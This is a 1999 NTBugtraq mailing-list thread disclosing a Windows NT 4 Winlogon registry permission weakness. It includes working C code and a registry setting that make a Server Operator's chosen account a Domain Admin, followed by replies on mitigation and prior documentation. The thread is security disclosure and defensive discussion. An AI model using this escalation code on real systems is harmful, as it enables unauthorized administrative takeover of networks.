Date: Mon, 11 Jan 1999 20:29:40 -0000
From: mnemonix <mnemonix@GLOBALNET.CO.UK>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Default permissions on Registry key creates a getadmin hole


Summary: There is an interesting hole opened up in the winlogon registry key
on NT 4 that allows elevation of privileges to both local and global
Administrator level.

Details: The following registry key permissions are set to "Server
perator"  -  Special Access. Part of this access gives them the "Set Value"
permission.

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

One of the pre-existing values for this key is "System:REG_SZ:lsass.exe". A
server operator may change this value to what they wish in an effort to gain
Admin rights. Anything they place here will be run with System privileges.
However, there are a couple of problems:
Firstly any exectuable ran from here in non-interactive so there is no point
in running usrmgr.exe or cmd.exe
Secondly it seems that any executeable run from here with arguments fails eg
"cmd.exe /c copy file.ext newfile.ext"
Thirdly it seems that the SAM is locked Read-Only temporarily after the SAS
keystroke is entered (Ctrl+Alt+Del)

What is needed then is an executable that requires no arguments, that pauses
long enough for the SAM to become writable again and gives the attacker
local and global Admin rights. The following code meets those requirements.
Replace "acc_name" with the relevant account name.

-----------------------8<-------------------------------------------------

/* GetadmforSops.exe - David Litchfield 11 Jan 1999 */
/* Compile with eg Visual C++ and link with netapi32.lib */

#define UNICODE
#include <windows.h>
#include <wchar.h>
#include <lmaccess.h>
#include <winbase.h>

int __cdecl wmain (void)
{
 LPWSTR group = L"Domain Admins";
 LPWSTR acc = L"acc_name";

 NET_API_STATUS nas=0;

 _sleep(180000);
  if( (nas=NetGroupAddUser(NULL, group, acc)) == 0)
  {
   wprintf(L"Success");
   return 0;
  }
   return 0;
}

----------------------->8------------------------------------------------

Set the System value to :
System:REG_SZ:lsass,c:\FULL_PATH_TO\getadmforsops.exe and reboot the system.
Three minutes later "acc_name" is made a member of the "Domain Admins" group
wich is also a member of the local Administrators group.

Fix: If you can trust your "Server Operators" then you don't need to do
much - if you'd prefer to be more safe however remove the "Set Value"
permission to this key.

This was tested of NT Service pack 3 with hotfixes - though it will almost
certainly work on NT 4 with SP 4 unless the SP changes the permissions on
the winlogon registry key.

Cheers
David Litchfield

http://www.infowar.co.uk/mnemonix/

------------------------------------------------------------------------------

Date: Tue, 12 Jan 1999 08:22:41 -0500
From: David LeBlanc <dleblanc@MINDSPRING.COM>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: Default permissions on Registry key creates a getadmin hole

At 08:29 PM 1/11/99 -0000, mnemonix wrote:
>Summary: There is an interesting hole opened up in the winlogon registry key
>on NT 4 that allows elevation of privileges to both local and global
>Administrator level.
>
>Details: The following registry key permissions are set to "Server
>perator"  -  Special Access. Part of this access gives them the "Set Value"
>permission.

>HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

This one has been documented in the ISS scanner (and checked as a
vulnerability) since the 4.3 release (about 6/97).  Note that the same
issues apply to the scheduler key, as well as the entire
HKLM\System\CurrentControlSet\Services tree.  Also, the 5.6 version of the
scanner checks for tampering on the System value you mention altering to
invoke your executable.

Another issue to consider (as noted in the help on this vulnerability) is
that Server Operators have a very high level of access rights, and
absolutely must be a trusted user.  Server ops normally have the right to
install drivers, install services, and write any of the operating system
files.  It is best to think of server operators as admins who cannot do any
account management without promoting themselves.  There are so many ways
for a server operator to take over a system that I don't even want to start
enumerating them all.  In reality, before you go trying to restrict a
server operator (who also would normally have physical access), you might
consider whether you trust that person.

Sutton also notes these issues in his NSA paper at www.trustedsystems.com.


David LeBlanc
dleblanc@mindspring.com

------------------------------------------------------------------------------

Date: Mon, 11 Jan 1999 19:22:10 -0800
From: Paul Leach <paulle@MICROSOFT.COM>
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: Re: Default permissions on Registry key creates a getadmin hole

> -----Original Message-----
> From: mnemonix [mailto:mnemonix@GLOBALNET.CO.UK]
> Sent: Monday, January 11, 1999 12:30 PM
> To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
> Subject: Default permissions on Registry key creates a getadmin hole
>

Actually, this issue is documented in the whitepaper entitled "Security
Windows NT Installation", available at this URL:
http://www.microsoft.com/ntserver/security/exec/overview/Secure_NTInstall.as
p, which was first published in 1997.

Quoting from it:

"In the environments where members of server operators are not sufficiently
trusted, it is recommended that security on following keys be changed as
below:

Registry Key                                    Recommended Permissions

HKEY_LOCAL_MACHINE\Software\Microsoft
\Windows NT\CurrentVersion\Winlogon             CREATOR OWNER: Full Control
                                                        Administrators: Full
Control
                                                        SYSTEM: Full Control
                                                        Everyone: Read
"


Also, it should be obvious that since Server Operators are allowed to
install drivers, etc., they can become, with sufficient effort on their
part, just as powerful as local Administrators. And if they can become
administrator on a DC, then they can become domain administrators.

Hence, this isn't the same as a getadmin hole that enables an unprivileged
user to become administrator -- a server operator is already very
privileged.

Nonetheless it is always useful to be reminded to go back and check our
installations to make sure that their permission settings are up to snuff.

Paul